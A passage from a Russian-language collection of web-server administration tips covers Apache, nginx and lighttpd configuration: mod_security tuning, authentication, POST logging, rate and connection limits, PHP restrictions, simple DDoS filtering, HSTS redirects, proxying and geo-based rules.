    иметь аттрибуты 600.
    Все директории и файлы в конфигах апача должны иметь овнера root.
    
    Рекомендуется проделать эти телодвижения со всеми местами, где злоумышленник
    может найти полные пути к блогам.
    
    
    Включаем mod_security
    ---------------------
    
    Это тяжелая артилерия. Для тех, кто не в курсе, mod_security это модуль, 
    который мониторит входящие GET/POST/HEAD запросы и исходящие text/* ответы сервера 
    на предмет наиболее распространенных атак, инъекций и прочей ереси.
    
    Здесь будет описываться mod_security2 для Apache v2.
    
    Конечно, эта штука немного отяжелит апач, но по опыту скажу, что не фатально и оно того стоит. 
    Как ставить mod_security можно узнать в гугле. В простейшем случае на FreeBSD это прекрасно 
    ставится из портов. На CentOS mod_security ставится из репозитория
    http://www.jasonlitka.com/yum-repository/ .
    После прописывания репозитория просто набрать команду
    
       # yum install mod_security
    
    Сразу скажу, mod_security рубит на корню phpmyadmin. По этому в тех приложениях, 
    где mod_security явно вредит, можно его выключить опцией httpd.conf:
    
       SecRuleEngine Off
    
    Так же mod_security откажется работать без модуля mod_unique_id.
    
    Поговорим о том, как паранойю mod_security сделать здоровой :) Этот модуль хорош, 
    когда правильно настроены правила. По умолчанию он идет с параноидальным набором правил. 
    Многие из них вообще ни к чему и их можно свободно отключить. 
    
    В файле modsecurity_crs_10_config.conf, думаю, стоит понизить значение SecDebugLogLevel до 0-2.
    
    Следующие файлы с наборами правил стоит вообще либо закомментировать, либо удалить:
    
       modsecurity_crs_20_protocol_violations.conf
       modsecurity_crs_21_protocol_anomalies.conf
       modsecurity_crs_30_http_policy.conf
       modsecurity_crs_35_bad_robots.conf
       modsecurity_crs_55_marketing.conf
    
    Остальные файлы нужно чуток подредактировать.
    
    modsecurity_crs_40_generic_attacks.conf
    
    Следующие секции я не нашел полезными:
    
        * Session fixation
        * Coldfusion injection
        * LDAP injection
        * HTTP Response Splitting
    
    modsecurity_crs_45_trojans.conf - тут все впорядке
    
    modsecurity_crs_50_outbound.conf - правила для исходящей информации. 
    Я бы здесь оставил только SQL Errors leakage
    
     
    ----* Особенности работы длительно выполняющихся PHP скриптов в Apache (доп. ссылка 1)   Автор: mysqlperformanceblog.com  [комментарии]
     Рассмотрим поведение Apache при принудительном закрытии клиентом окна браузера, в котором отображался вывод еще не завершенного PHP скрипта. Например, скрипт зациклился или пользователь устал ждать конца операции.

    Особенность в том, что скрипт будет принудительно завершен, только в момент физического вывода данных, т.е. после сброса буфера, например после отправки большого числа данных или вызова функций ob_flush() и flush(). Если вывода данных клиенту не производится или буфер вывода остается несброшенным, то скрипт так и будет выполняться до истечении времени заданного через параметр настройки PHP - max_execution_time. При этом не важно, в какое значение в конфигурации PHP установлен параметр ignore_user_abort.

    В качестве обходного пути для прерывания скриптов в течение длительного времени не производящих вывод данных, например, вследствие выполнения длительного SQL запроса, можно использовать расширение pcntl, вызывая функцию pcntl_alarm(таймаут). В отличие от max_execution_time/set_time_limit, определяющих максимальное время утилизации CPU (при выполнении запросов к SQL серверу процессорное время расходуется минимально и скрипт может оставаться висеть днями), функция pcntl_alarm оперирует секундами реального времени.

     
    ----* apache2 + mod_ntlm2 на FreeBSD (доп. ссылка 1)   Автор: Comatoz  [комментарии]
     
    Прозрачная авторизация пользователя через его доменную учетную запись
    
    Использовавшие источники
       http://www.lissyara.su/?id=1510&commented=1#comment_2138
       http://wiki.bestpractical.com/view/NtlmAuthentication
    
    В портах появился, но не собирается как надо (на 1.10.07 г.), поэтому
    
       cd /usr/ports/www/mod_ntlm2
    
    Необходимо поправить файл  mod_ntlm.c
    
       make fetch && make extract
    
    
    diff mod_ntlm2-0.1/mod_ntlm.c mod_ntlm2-0.1-fixed/mod_ntlm.c
    590c590,596
    <     apr_pool_sub_make(&sp,p,NULL);
    ---
    >     /*
    >      * apr_pool_sub_make(&sp,p,NULL);
    >      *
    >      * This function call is not longer available with apache 2.2
    >      * Try replacing it with apr_pool_create_ex()
    >      */
    >     apr_pool_create_ex(&sp,p,NULL,NULL);
    
    Теперь собираем и устанавливаем
    
       make install
    
    Пример настройки /usr/local/etc/apache22/Includes/nagios.conf
    
    ...
      ScriptAlias /nagios/cgi-bin/ /usr/local/www/nagios/cgi-bin/
      Alias /nagios/  /usr/local/www/nagios/
      Alias /nagios  /usr/local/www/nagios/
    
    <Location /nagios/cgi-bin>
        AuthType NTLM
        NTLMAuth on
        NTLMAuthoritative on
        NTLMDomain NAME_DOMAIN # ИМЯ домена
        NTLMServer dc1	# имя PDC
        NTLMBackup dc2	# имя BDC
        Require valid-user
    </Location>
    ...
    
    Если обращаться из IE - все работает, IE отдает данные авторизации любому.
    Если обращаться из Mozilla Firefox не будет работать -  FF не отдает 
    данные авторизации кому попало, сначала надо определить кому можно 
    отдавать. Для этого в FF(about:config) в параметре  network.automatic-
    ntlm-auth.trusted-uris установить имя сервера которому можно отдавать 
    данные авторизации.
    
     
    ----* Логгирование POST-запросов в apache (доп. ссылка 1)   Автор: mahoro  [комментарии]
     В некоторые моменты чувствую себя очень неуютно из-за того, что нет возможности посмотреть, что конкретно делают с моим сервером некоторые персоны. Я долго искал возможность логгировать все, в том числе и POST запросы клиентов и нашел способ - через mod_security.

    Устанавливается он элементарно apxs -cia mod_security.c (см документацию, правда, для его работы в наиболее удобном, "Concurrent", режиме логгирования, нужен модуль unique_id. После установи модуля следует добавить следующую секцию в httpd.conf:

       <IfModule mod_security.c>
           SecAuditEngine On
    
       # У mod_security есть два механизма логгирования, Concurrent - более быстрый и продвинутый.
           SecAuditLogType Concurrent
    
       # Здесь будет храниться индекс - файл, по структуре похожий на    access_log + идентификаторы, 
       # по которым можно найти полную информацию в StorageDir
           SecAuditLog /var/log/www/audit/index
    
       # Тут хранятся все данные запросов. Каждый запрос в отдельном файле. 
       # Запросы разнесены по каталогам (вместе все запросы одной транзакции, вместе все транзакции одного дня)
           SecAuditLogStorageDir /var/log/www/audit/data/
    
       # Наиболее полное логгирование (man)
           SecAuditLogParts ABCDEFGHZ
    
       # Добавить обработку POST данных. 
           SecFilterScanPOST On
           SecFilterEngine On
    
       # Следующие строки нужны для сохранения загруженных на сервер файлов:
           SecUploadDir /var/log/www/audit/upload
           SecUploadKeepFiles On
    
       </IfModule>
    

    Включать это имеет смысл при подозрении, что кто-то пытается использовать вашу систему не по назначению, теперь любой шаг проходимца будет записан.

    p.s. Работоспособность конфига проверялась в apache 1.3.37, mod_security 1.9.4, но работать должно и в 2.0/2.0

     
    ----* Ограничение трафика для виртуального хоста в apache (доп. ссылка 1)   [комментарии]
     Нижеприведенные настройки ограничат скорость для виртуального хоста в 1024kbps, с возможностью обслуживания не больше 10 запросов в секунду и максимумом в 30 открытых коннектов. Каждый посетитель может установить не больше трех одновременных соединений и получить данные на скорости не выше 20kb/s . Кроме того, виртуальный хост может за 4 недели израсходовать не более 100 Мб трафика, если лимит будет превышен скорость будет ограничена в 128kbps.
    
    <VirtualHost 1.2.3.4>
      ServerName www.example.com
      ServerAdmin webmaster@example.com
      DocumentRoot /var/www
      CBandLimit 100M
      CBandExceededSpeed 128 5 15
      CBandSpeed 1024 10 30
      CBandRemoteSpeed 20kb/s 3 3
      CBandScoreboard /var/www/scoreboard
      CBandPeriod 4W
    </VirtualHost>
    
    
     
    ----* Как совместить использование SuPHP и mod_php в одном apache (доп. ссылка 1)   Автор: pookey.co.uk  [обсудить]
     
    По умолчанию будет использоваться SuPHP.
    В httpd.conf:
       LoadModule suphp_module        modules/mod_suphp.so
       LoadModule php4_module         modules/libphp4.so
       AddType application/x-httpd-php .php
       AddType application/x-httpd-php-source .phps
       AddHandler x-httpd-php .php
       suPHP_Engine on
       php_admin_flag engine off
    
    Для избранных хостов активируем mod_php:
    
       <VirtualHost ..>
         suPHP_Engine off
         RemoveHandler .php
         php_admin_flag engine on
         ...
      </VirtualHost>
    
     
    ----* Авторизация в Apache2 из стандартной группы LDAP   Автор: Андрей  [обсудить]
     
    Авторизация в Apache2 из стандартной группы Ldap (objectClass=posixGroup)
    
    В .htaccess прописать параметры модуля mod_auth_ldap
       AuthType Basic
       AuthName "For Administrators only!"
       AuthLDAPURL ldap://ldap.local/dc=local
       AuthLDAPRemoteUserIsDN off
       AuthLDAPGroupAttribute memberUid
       AuthLDAPGroupAttributeIsDN off
       require group cn=admins_group,ou=group,dc=local
    
    Для поддержки протокола ldaps:// необходимо в файле
    /etc/httpd/conf.d/ldap.conf определить параметры:
       LDAPTrustedCA /etc/pki/tls/certs/ca.cert
       LDAPTrustedCAType  BASE64_FILE
    
    ca.cert это публичный сертификат которым подписан сертификат сервиса ldaps.
    
     
    ----* Как ограничить в Apache объем данных передаваемых в POST запросе. (доп. ссылка 1)   [обсудить]
     
    В .htaccess или в файле конфигурации:
      LimitRequestBody 50000
    
     
    ----* Как изменить строку идентифицирующую версию Apache и некоторые модули.   [обсудить]
     
    Директива ServerTokens устанавливает формат вывода информации в поле Server:
    ServerTokens Minimal
    #    Server: Apache/1.3.0
    ServerTokens ProductOnly
    #    Server: Apache
    ServerTokens OS
    #    Server: Apache/1.3.0 (Unix)
    ServerTokens Full
    #    Server: Apache/1.3.0 (Unix) PHP/3.0
    
     
    ----* Как ограничить число соединений от одного IP в Apache   [обсудить]
     
    Устанавливаем модуль mod_limitipconn и изменяем httpd.conf:
    ExtendedStatus On
    <Directory />
    ...
        MaxConnPerIP 10
    </Directory>
    
     
    ----* Как максимально ограничить пользовательские PHP скрипты.   [обсудить]
     
    В httpd.conf в блок конфигурации каждого виртуального хоста добавляем:
      php_admin_flag engine on
      php_admin_flag expose_php off
      php_admin_flag safe_mode on
      php_admin_flag track_vars on
      php_admin_flag allow_url_fopen  off
      php_admin_flag magic_quotes_runtime on
      php_admin_value doc_root /home/user/htdocs
      php_admin_value open_basedir /home/user/htdocs
      php_admin_value safe_mode_exec_dir /home/user/bin
      php_admin_value safe_mode_protected_env_vars  LD_LIBRARY_PATH
      php_admin_value safe_mode_allowed_env_vars PHP_
      php_admin_value upload_tmp_dir /home/user/htdocs/tmp
      php_admin_value upload_max_filesize 1024000
      php_admin_value max_execution_time 10
      php_admin_value post_max_size  1M
      php_admin_value memory_limit 8M
      php_admin_flag mysql.allow_persistent  off
      php_admin_value mysql.max_links  5
      php_admin_flag pgsql.allow_persistent  off
      php_admin_value pgsql.max_links  5
      # в php.ini disable_functions = 
    
     
    ----* Как ограничить размер памяти и CPU для CGI в Apache   [обсудить]
     
    Ограничим память в 32 Мб, процессорное время 30 сек., одновременно может быть
    запущено не более 60 пользовательских CGI скриптов.
    В <VirtualHost ...>:
    RLimitMEM   32000000 32000000
    RLimitCPU   10       30
    RLimitNPROC 60       60
    
     
    ----* Как преодолеть барьер в 256 одновременных соединений в Apache   [обсудить]
     
    Пересоберите apache изменив в httpd.h константу HARD_SERVER_LIMIT с 256
    на большее число.
    
     
    ----* Как ограничить доступ к определенному файлу.   [обсудить]
     
    Запретим доступ к .txt файлам:
    <Files ~ "\.txt">
        Order allow,deny
        Deny from all
    </Files>
    Доступа к .cgi и только с IP 1.2.3.4 через пароль, остальным нет доступа.
    <Files ~ "\.cgi">
        Order allow,deny
        Allow from 123.123.123.123
        AuthType Basic
        AuthName "ENTER PASSWORD"
        AuthUserFile /home/user/.htpasswd
        <Limit GET POST PUT>
            require valid-user
        </Limit>
        Deny from all
    </Files>
    
     
    ----* Как ограничить доступ к директории только для определенных IP   [обсудить]
     
    В .htaccess:
    order allow,deny
    allow from 10.0.0.0/24 176.1.2.3 194.67.48.0/24 
    
     
    ----* Как организовать парольный доступ к директории   [комментарии]
     
    в .htaccess:
            AuthType Basic
            AuthName "Private block"
            AuthUserFile путь к файлу с паролями
            require valid-user
    или require user user1 user2...
    Создать файл паролей: htpasswd -c .passwd user
    добавить нового пользователя: htpasswd .passwd user
    
     
    ----* Как отбить простой DDoS в nginx   Автор: Ilya  [комментарии]
     
    Все мы сталкивались с зажатым F5 и просто озверевшими ботами, уже давно не
    секрет, что мораль у данных личностей довольно слаба, а желание забить канал
    высоко, именно по этому данный сниппет в nginx может срезать львиную долю таких
    неуравновешенных личностей.
    
    Суть идеи  в следующем:
    
       map "$http_accept_encoding:$remote_addr" $ban_ban {
        "~*(.*):(1.1.1.1|2.2.2.2)"  0; #  тут перечисляем кому "можно"
        "~*(.*gzip.*|.*identity.*):(.*)"  0; # выделяем запросы с gzip в заголовке Accept-Encoding
        default        1; # ban
       }
    
       if ($ban_ban = 1) {
            return 444;
       }
    
    
    TL;DR: большинство дельцов, не обращают внимание на заголовок gzip в своих
    запросах, им важно забить серверу исходящий канал (вот и не требуют gzip) -
    мораль  в том, что легитимный пользователь/браузер ВСЕГДА посылает gzip/deflate
    в своих "ожиданиях" от сервера. Как следствие такое помогает избежать 90%
    простейших атак.
    
     

       Оптимизация и тюнинг Apache

    ----* Отдача статического web-контента через khttpd в Linux ядре (доп. ссылка 1)   Автор: David A. Bandel  [комментарии]
     
    Apache, который будет обрабатывать динамический контент, 
    должен принимать соединения на 127.0.0.1:8080.
    
    Скрипт для запуска khttpd:
    
       #!/bin/sh
       modprobe khttpd
       echo 8080 > /proc/sys/net/khttpd/clientport
       echo /home/httpd/html > /proc/sys/net/khttpd/documentroot
       echo phtml > /proc/sys/net/khttpd/dynamic
       echo inc > /proc/sys/net/khttpd/dynamic
       echo shtml > /proc/sys/net/khttpd/dynamic
       echo php3 > /proc/sys/net/khttpd/dynamic
       echo phps > /proc/sys/net/khttpd/dynamic
       echo php > /proc/sys/net/khttpd/dynamic
       echo cgi > /proc/sys/net/khttpd/dynamic
       echo pl > /proc/sys/net/khttpd/dynamic
       echo 1 > /proc/sys/net/khttpd/logging
       echo 1 > /proc/sys/net/khttpd/threads
       echo 80 > /proc/sys/net/khttpd/serverport
       echo 1 > /proc/sys/net/khttpd/start
    
     
    ----* Как уменьшить число apache httpd процессов и снизить затраты памяти. (доп. ссылка 1)   [комментарии]
     
    - В FreeBSD использование "accept filter" (нет реакции от accept() пока не
    поступят первые данные запроса):
          - ядро собираем с "options ACCEPT_FILTER_HTTP" или "options ACCEPT_FILTER_DATA" 
            или kldload accf_http/accf_data 
            или accf_data_load="YES" / accf_http_load="YES в /boot/loader.conf
          - в конфигурацию Apache добавляем "AcceptFilter on"
    
    - Значительное уменьшение величины keepalive, или вообще его запрещение (KeepAlive Off);
    
    - Использовать mod_accell или squid в режиме акселератора для кэширования.
    
     
    ----* Как заставить Apache закачать наиболее часто используемые файлы в память и отдавать клиентам из памяти, а не с диска ? (доп. ссылка 1)   [обсудить]
     
    Используйте для статических файлов mod_mmap_static:
      MMapFile файл1 файл2 ....
    
     
    ----* Каким web-сервером лучше раздавать большие объемы статического контента.   [комментарии]
     
    thttpd  - нет keep-alive, при нагрузке достаточно большие задержки между запросом и отдачей.
    mathoptd - отличная производительность, небольшие запросы к ОЗУ, загрузка CPU примерно на 30%
     выше чем при аналогичной нагрузке на сервер при использовании thttpd.
    TUX и khttpd - эксперементальный код, замечательная производительность за счет
    выноса в linux ядро процедур отдачи статики.
    
     
    ----* Web сервер перегружен, денег на апгрейд нет, как увеличить производительность с наименьшими потерями ? (доп. ссылка 1)   [обсудить]
     
    Если тяжелый апач и много соединений, контент долго генерируется, но может
    кэшироваться, или наличие большого
    процента "медленных клиентов" - то значительного прироста производительности
    можно достигнуть используя mod_accel.
    Если в CGI скриптах используются SQL запросы: оптимизация базы, оптимизация
    запросов (EXPLAIN для pgsql),
    использование индексов, частые vacuum для pgsql и прежде всего кэширование типовых запросов.
    Если просто запускается много мелких скриптов: mod_perl или fast_cgi.
    Плюс, вынесение из apache лишних модулей, отдельный web-сервер для раздачи статики и картинок.
    
     

       Редирект, mod_rewrite

    ----* Организация доступа к SSH и HTTPS через один 443 порт при помощи nginx (доп. ссылка 1)   [комментарии]
     
    В nginx 1.15.2 в модуль ngx_stream_ssl_preread была добавлена переменная
    $ssl_preread_protocol, которая определяет наибольшую версию протокола SSL/TLS,
    которую поддерживает клиент. При помощи новой переменной можно создавать
    конфигурации для доступа с использованием различных протоколов через один
    сетевой порт при проксировании трафика с использованием модулей http  и stream.
    В частности, можно разделять обработчики для трафика на базе SSL и не
    использующего SSL (например, SSH).
    
    Для организации доступа по SSH и HTTPS через один сетевой порт 443  можно по
    умолчанию пробрасывать трафик на SSH, а если определена версия  протокола
    TLSv1.2 пробрасывать на HTTPS:
    
       stream {
           upstream ssh {
               server 192.0.2.1:22;
           }
    
           upstream web {
               server 192.0.2.2:443;
           }
          
           map $ssl_preread_protocol $upstream {
               default ssh;
               "TLSv1.2" web;
           }
    
           # SSH и SSL на одном порту 
           server {
             listen 443;
             proxy_pass $upstream;
             ssl_preread on;
           }
       }
    
    По аналогии можно настроить проброс через один сетевой порт для любых других
    сочетаний SSL/не-SSL протоколов, например, "HTTP/HTTPS", "TCP DNS/DNS over TLS"
    и т.п.
    
     
    ----* Перенаправление на HTTPS при помощи HSTS в Apache, NGINX и Lighttpd (доп. ссылка 1)   [комментарии]
     
    Протокол HSTS (HTTP Strict Transport Security) позволяет администратору сайта
    указать на необходимость обращения только по HTTPS и автоматизировать проброс
    на HTTPS при изначальном обращении по ссылке на HTTP. Управление производится
    при помощи HTTP-заголовка Strict-Transport-Security, который выдаётся при
    обращении по HTTPS (при выдаче по HTTP заголовок игнорируется) и указывает
    браузеру на необходимость оставаться в зоне HTTPS даже при переходе по ссылкам
    "http://". Замена http:// на https:// будет автоматически выполняться при
    обращении к защищаемому ресурсу с внешних сайтов, а не только для внутренних ссылок.
    
    Использование в Apache:
    
    При помощи mod_headers устанавливаем для HTTPS-блока виртуального хоста
    заголовок Strict-Transport-Security (max-age - срок действия (1 год),
    includeSubdomains - распространять замену http:// на https:// для всех
    поддоменов; preload - занести в поддерживаемый браузером статический список).
    Дополнительно устанавливаем заголовок "X-Frame-Options: DENY" для запрета
    встраивания контента сайта в блоки iframe.
    
       LoadModule headers_module modules/mod_headers.so
    
       <VirtualHost 192.168.1.1:443>
          Header always set Strict-Transport-Security "max-age= 31536000; includeSubdomains; preload"
          Header always set X-Frame-Options DENY
       </VirtualHost>
    
    Для HTTP-блока хоста настраиваем редирект:
    
       <VirtualHost *:80>
         <IfModule mod_rewrite.c>
           RewriteEngine On
           RewriteCond %{HTTPS} off
           RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
         </IfModule>
        </VirtualHost>
    
    Настройка в nginx:
    
    Добавляем в блок server:
    
        add_header Strict-Transport-Security "max-age=63072000; includeSubdomains; preload";
        add_header X-Frame-Options "DENY";
    
    Настройка в Lighttpd:
     
       server.modules += ( "mod_setenv" )
       $HTTP["scheme"] == "https" {
           setenv.add-response-header  = ( "Strict-Transport-Security" => "max-age=63072000; includeSubdomains; preload",  "X-Frame-Options" => "DENY")
       }
    
     
    ----* Запуск qdPM под управлением nginx через php-fpm (доп. ссылка 1)   Автор: viking-coyote  [комментарии]
     
    Для использование системы управления проектами qdPM совместно с nginx можно
    использовать следующие настройки:
    
    
       root /путь/до/qdpm;
       location / {
                index index.php;
                allow <разрешаем коекому>;
                deny all;
    }
       
       location ~ ^(.+\\.php)(.*)$ {
                fastcgi_pass   unix:/tmp/php-fpm.socket;
                fastcgi_split_path_info       ^(.+\\.php)(.*)$;
                fastcgi_param  SCRIPT_FILENAME $document_root/index.php; 
                fastcgi_param  QUERY_STRING $query_string;
                include        fastcgi_params;
    }
    
     
    ----* Автоматическое реплицирование статики между несколькими web серверами средствами nginx   Автор: Gara  [комментарии]
     
    На нескольких серверах время от времени появляется новые файлы, при этом
    заранее не известно на каком именно сервере появится новый файл. Клиенты в
    случайном порядке попадают на все серверы.
    
    Задача сделать так, чтоб клиенту всегда отдавался новый файл, даже если его нет
    в момент запроса на сервере. Чтобы клиент не видел 404. rsync не подходит,
    точнее он может использоваться как дополнение.
    
    Предположим дано 3 физических сервера и они отдают одну и туже статику для
    одного домена stat.domain.com. Серверов может быть больше, решение легко маcштабируется.
    
    
    Введем дополнительные доменные имена для обращения к конкретному серверу:
    
       stat.front-01.domain.com
       stat.front-02.domain.com
       stat.front-03.domain.com
    
    
    Решение.
    
    Решение будем строить на NGINX, используя proxy_pass + proxy_store.
    
    Каждый сервер должен иметь 2 конфигурации с одинаковым корнем (root).
    
    Первый блок конфигурации - "тупиковый", отвечает только по дополнительному
    имени stat.front-XX.domain.com  и если нет файла отдает 404.
    
    Второй блок конфигурации - "проксирующий", обращаются клиенты по имени хоста
    stat.domain.com, и если файл не найден он будет искать на других серверах.
    
    Итого, имеем:
    
       # тупиковый
       server {
           listen 80;
           server_name stat.front-01.domain.com;
           access_log off;
           location / {
               root /opt/www/stat.domain.com/;
           }
       }
    
       # проксирующий
       # может показаться что это решение, см. дальше.
       server {
           listen 80;
           server_name stat.domain.com;
    
           access_log off;
    
           location / {
               root /opt/www/stat.domain.com/;
               try_files $uri  @front-02 @front-03;  # кроме front-01
           }
    
           location @front-02{
                   internal;
                   proxy_pass   http://stat.front-02.domain.com; # забираем из "тупиковой" конфигурации
                   proxy_set_header   Host   stat.front-02.domain.com;
                   proxy_store on;
                   proxy_store_access user:rw group:rw all:r;
                   proxy_temp_path /opt/www/tmp;
                   root            /opt/www/stat.domain.com/;
           break;
           }
    
           location @front-03{
                   internal;
                   proxy_pass         http://stat.front-03.domain.com;  # забираем из "тупиковой" конфигурации
                   proxy_set_header   Host   stat.front-03.domain.com;
                   proxy_store on;
                   proxy_store_access user:rw group:rw all:r;
                   proxy_temp_path /opt/www/tmp;
                   root            /opt/www/stat.domain.com/;
           break;
           }
       }
    
    здесь ключевым моментом является
    
       try_files $uri  @front-02 @front-03;  # кроме front-01
    
    Кажется что все ок, и будет работать красиво но вот в чем проблема:
    
    try_files в аргументах может иметь кучу файлов и только 1 URL, так что это
    конфигурация НЕ РАБОТАЕТ..
    
    Посмотрим на директиву proxy_next_upstream.
    
    Вот в итоге что получилось:
    (блок конфигурации универсальный и подходит для всех фронтов)
     
       # тупиковый
       server {
           listen 80;
           server_name stat.stat.domain.com;       #stat.front-01.domain.com - можно тоже добавить
    
           access_log off;
    
           location / {
               root /opt/www/stat.domain.com/;
           }
       }
    
       # проксирующий
       upstream  stat_backend  {
       #                server stat.front-01.domain.com ; #  себя комментируем
                   server stat.front-02.domain.com ;
                   server stat.front-03.domain.com ;
       }
    
       server {
           listen 80;
           server_name stat.domain.com;
    
           access_log off;
    
           location / {
               root /opt/www/stat.domain.com/;
               try_files $uri  @front-stat;
           }
    
           location @front-stat{
                   internal;
    
                   proxy_pass          http://stat_backend;
                   proxy_next_upstream http_404;
    
                   proxy_set_header   Host  stat.stat.domain.com;
                   proxy_store on;
                   proxy_store_access user:rw group:rw all:r;
                   proxy_temp_path /opt/www/tmp;
                   root            /opt/www/stat.domain.com;
           break;
           }
    
       }
    
     
    ----* Организация в Lighttpd переброса на страницу в зависимости от языка пользователя (доп. ссылка 1)   [обсудить]
     
    Для организации редиректа на определенную страницу с учетом выбранного в
    настройках браузера пользователя языка,  в Lighttpd можно использовать модуль
    mod_magnet, позволяющий определить логику обработки запроса через простой
    скрипт на языке Lua:
    
       lighty.env["uri.path"] = "/en/index.html"
       lang = lighty.request['Accept-Language']
       if (lang) then
               if (string.sub(lang,1,2) == 'ru') then
                       lighty.env["uri.path"] = "/ru/index.html"
               end
       end
       lighty.env["physical.rel-path"] = lighty.env["uri.path"]
       lighty.env["physical.path"] = lighty.env["physical.doc-root"] .. lighty.env["physical.rel-path"]
    
    Для подключения данного скрипта для обработки запроса стартовой страницы ("/")
    в файл конфигурации Lighttpd добавляем:
    
       $HTTP["url"] =~ "^/$" {
          magnet.attract-physical-path-to = ( "/path/to/your/script.lua" )
       }
    
    При обработке запросов mod_magnet кэширует скрипт в предкомпилированном виде и
    выполняет его в контексте http-сервера, что минимизирует дополнительную
    нагрузку на сервер.
    
    Для Apache гибкую обработку запросов на языке Lua можно реализовать при помощи модуля
    mod_lua. Но для
    переброса по языку в Apache можно обойтись обычным mod_rewrite, например так:
    
       RewriteCond %{HTTP:Accept-Language} ^ru [NC]
       RewriteRule ^$ /index_ru.html [L]
    
    Или более сложный редирект на скрипт с учетом cookie:
     
       # Если выставлена cookie lang, то используем язык из нее:
       RewriteCond %{HTTP_COOKIE} ^lang=([a-z]{2,3})[-,;]? [OR]
       # Иначе делаем редирект по первому языку, указанному в заголовке Accept-language
       RewriteCond %{HTTP:Accept-language} ^([a-z]{2,3})[-,;]?
       RewriteRule ^$ /index.php?lang=%1 [L]
    
    
      
    
     
    ----* Редирект в зависимости от домена в nginx (доп. ссылка 1)   Автор: Kirill Korinsky  [комментарии]
     
    Пример организации редиректа, в зависимости от домена, на какой-то раздел сайта.
    
    У нас есть домены, motto.ru, kids.ru, meet.ru и figvam.ru. Есть главный домен forum.ru, на котором 
    мы хотим редиректить их (в зависимости от домена будет разный форум). Наиболее
    правильный вариант этого:
    
       http {
    
         map $http_host  $forum_id{
            hostnames;
    
            default          "";
    
            .motto.ru        "11";
    
            .kids.ru         "12";
    
            .meet.ru         "13";
            .figvam.ru       "13";
         }
    
         server {
            listen 80 default;
    
            rewrite ^ http://forum.ru/?f=$forum_id;
         }
    
         server {
            listen 80;
    
            server_name  forum.ru www.forum.ru;
    
            location / {
                proxy_pass http://localhost:80/;
            }
         }
       }
    
    содержимое блока map (домен и id форума) можно вынести в отдельный файл и
    подключать его через include.
    
     
    ----* Создание SSL прокси при помощи lighttpd   Автор: Sergey Shkuratov  [комментарии]
     
    Возникла необходимость сделать на lighttpd балансирующий ssl-прокси к
    веб-серверу под управлением Apache.
    
    Другими словами, реализовать схему:
    
                   https-запрос
    	            |
    		   \|/
                     lighttpd
    		 /       \
    		/         \
    	    apache1      apache2
    
    где apache1. apache2 выбираются, исходя из доступности.
    
    Так как задача отняла чуть больше времени и сил, чем ожидалось, приведу решение
    с небольшим комментарием:
    
    Выдержка из /etc/lighttpd/lighttpd.conf:
       
       server.modules = (
       "mod_redirect",
       "mod_access",
       "mod_proxy",
       "mod_accesslog" )
    
       $SERVER["socket"] == "11.22.33.44:443" {
          ssl.engine = "enable"
          ssl.pemfile = "/etc/lighttpd/server.pem"
          proxy.balance = "fair"
          proxy.server = ( "" => (( "host" => "10.10.0.15", "port" => 80 ),
          ( "host" => "10.10.0.115",
           "port" => 80 )
          ))
       } else $HTTP["host"] == "ssl-site.ru" {
          url.redirect = (
            "^/(.*)" => "https://ssl-site.ru/$1"
          )
       }
    
    Как видим, апачи "за сценой" (на 10.10.0.15 и 10.10.0.115) работают на 80-ом порту, 
    а вся https-часть возложена на lighttpd, принимающий запрос на 443-й порт на заданном ip.
    
    Ключевым здесь является то, что https-часть определяется как $SERVER["socket"],
    а не $HTTP["host"],
    как принято в lighttpd при описании виртуальных хостов. В https, как известно, на одном ip может 
    быть только один ssl-сертификат, что и описывает приведённый кусок конфига.
    
    В описании же для http://ssl-site.ru содержится только редирект на https, и более ничего.
    
     
    ----* Пример привязки к географическому положению посетителя в nginx (доп. ссылка 1)   Автор: alexkbs  [комментарии]
     
    Для начала, следует прочитать о директивах модуля ngx_http_geo_module:
    http://sysoev.ru/nginx/docs/http/ngx_http_geo_module.html
    
    Во вторую очередь нам нужно получить список сетей в нужном формате.
    Так как мне нужно отделить только российские IP, у меня делается так:
    
       curl -f -o - http://noc.masterhost.ru/allrunet/runet \
       http://noc.zenon.net/nets/current | grep -v "0.0.0.0/0" | \
       grep -o "[0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+\/[0-9]\+" | \
       sort | uniq | sed 's/$/ ru;/' > /etc/nginx/rugeo.conf; 
    
       /etc/init.d/nginx reload
    
    
    Одно из условий - пользователи из любых стран с установленной cookie ALLOWIMAGES 
    не должны подвергаться дискриминации по географическому признаку. 
    
    Соответственно составляем файл конфигурации nginx.
    
    Определяем страну (в контексте http):
    
       geo  $country  {
    	default          en;
    	include          /etc/nginx/rugeo.conf;
       }
    
    
    В блоке конфигурации интересующего нас server пишем:
    
       location = /spacer.gif {
            empty_gif;
       }
    
       location ~* \.(jpg|jpeg|gif|png)$ {
    	set  $allow_images  1;
    
    	if ($country = 'en') {
    		set  $allow_images  0;
    	}
    
    	if ($http_cookie ~* ALLOWIMAGES) {
    		set  $allow_images  1;
    	}
    
    	if ($allow_images != 1) {
    		rewrite  ^/images/.*$ /spacer.gif break;
    	}
    	
            expires         7d;
            root /home/www/htdocs;
            if (!-f $request_filename) {
                    proxy_pass        http://backend;
            }
       }
    
    
    Таким образом всем посторонним иностранцам вместо фотографий будет видна пустота, 
    а всем своим фотографии будут видны откуда бы они не заходили.
    
    
    
    Для ситуаций, когда блокировка обусловлена экономией трафика,
    http://sergeyx.livejournal.com/ в комментарии
    советует использовать бесплатную сеть доставки контента CoralCDN (http://www.coralcdn.org):
    
    Руководство по настройке: http://wiki.coralcdn.org/wiki.php?n=Main.Servers
    Например, запросив http://www.test.ru.nyud.net:8080/img/test.gif сеть CoralCDN выступит 
    в роли кэшируюшего прокси для доставки нужного файла.
    
    Пример для организации отдачи трафика через CoralCDN для посетителей с некорректным referer:
    
       location /i/ {
          ...
          # Избегаем зацикливания для запросов от CoralCDN
          if ($http_user_agent ~ CoralWebPrx) {
             break;
          }
          if ($query_string ~ coral-no-serve) {
             break;
          }
          # Перенаправляем запросы только на существующие файлы
          if (!-f $request_filename) {
             break;
          }
          # Для посетителей с некорректным referer делаем редирект в CoralCDN
          # корректность определяем через встроенную переменную nginx $invalid_referer
          # вместо SITE нужно подставить имя хоста.
          if ($invalid_referer) {
             rewrite ^(.+)$ http://SITE.nyud.net$1;
          }
          ...
       }
    
    
    Пример для Apache с mod_rewrite:
    
       RewriteEngine on
       RewriteCond %{HTTP_USER_AGENT} !^CoralWebPrx
       RewriteCond %{QUERY_STRING} !(^|&)coral-no-serve$
